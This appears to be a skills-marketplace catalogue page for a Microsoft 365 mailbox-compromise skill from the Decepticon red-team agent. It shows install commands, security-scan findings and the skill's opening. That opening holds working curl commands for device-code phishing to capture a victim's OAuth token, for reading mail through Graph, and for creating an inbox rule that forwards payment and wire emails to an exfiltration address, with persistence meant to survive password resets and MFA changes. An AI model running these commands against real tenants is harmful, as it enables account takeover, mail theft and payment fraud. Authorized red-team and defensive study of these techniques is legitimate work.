Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill m365-mailbox-compromisegit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise)<a href="https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/m365-mailbox-compromise/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/m365-mailbox-compromise"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/m365-mailbox-compromise.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 8 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 41 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- medium Data Exfiltration · line 19 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 31 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 64 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 95 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 242 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 108 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- low Privilege Escalation · line 148 Skill requests more permissions than appear necessary for its stated functionality. Review if elevated access is justified.Fix: Request only the minimum permissions required. Document why each permission is needed. Remove broad permissions like '*' or 'all'.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00045 | $0.03760 |
| Opus 5 | $0.00023 | $0.01880 |
| Sonnet 5 | $0.00009 | $0.00752 |
| Haiku 4.5 | $0.00005 | $0.00376 |
Grade A, and why
m365-mailbox-compromise scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \ How it starts
The opening of the file, as written. The whole thing — 314 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Microsoft 365 Mailbox Compromise
Targets Microsoft 365 tenants through OAuth consent grants, device code phishing, delegate access abuse, and mail flow rule persistence. Provides silent, persistent email collection that survives password resets and MFA changes.
Quick Reference
# Device code phishing — initiate auth flow
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=offline_access Mail.Read Mail.ReadWrite"
# Poll for token after victim enters code
curl -s "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&device_code=<DEVICE_CODE>"
# List mailbox messages via Graph API
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$top=50&\$select=subject,from,receivedDateTime" \
-H "Authorization: Bearer <ACCESS_TOKEN>" | jq '.value[] | {subject,from,receivedDateTime}'
# Create inbox forwarding rule
curl -s -X POST "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
-H "Authorization: Bearer <ACCESS_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"displayName":"","isEnabled":true,"sequence":1,"conditions":{"subjectContains":["invoice","payment","wire","transfer"]},"actions":{"forwardTo":[{"emailAddress":{"address":"<EXFIL_EMAIL>"}}]}}'
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Steal Application Access Token | T1528 | OAuth consent grant or device code phishing for Graph API tokens |
| Additional Email Delegate Permissions | T1098.002 | Add mailbox delegate or ApplicationImpersonation role |
| Remote Email Collection | T1114.002 | Exfiltrate mail via Graph API or EWS |
| Office Application Startup | T1137 | Outlook rules, forms, and home page for persistence |
| Phishing: Spearphishing Link | T1566.002 | OAuth consent phishing URL delivery |
| Account Manipulation | T1098 | Mail flow rule creation for persistent forwarding |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 314 lines · 45 tokens per session scan A b9f3a6058596
m365-mailbox-compromise is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 45 tokens to every session and 3,760 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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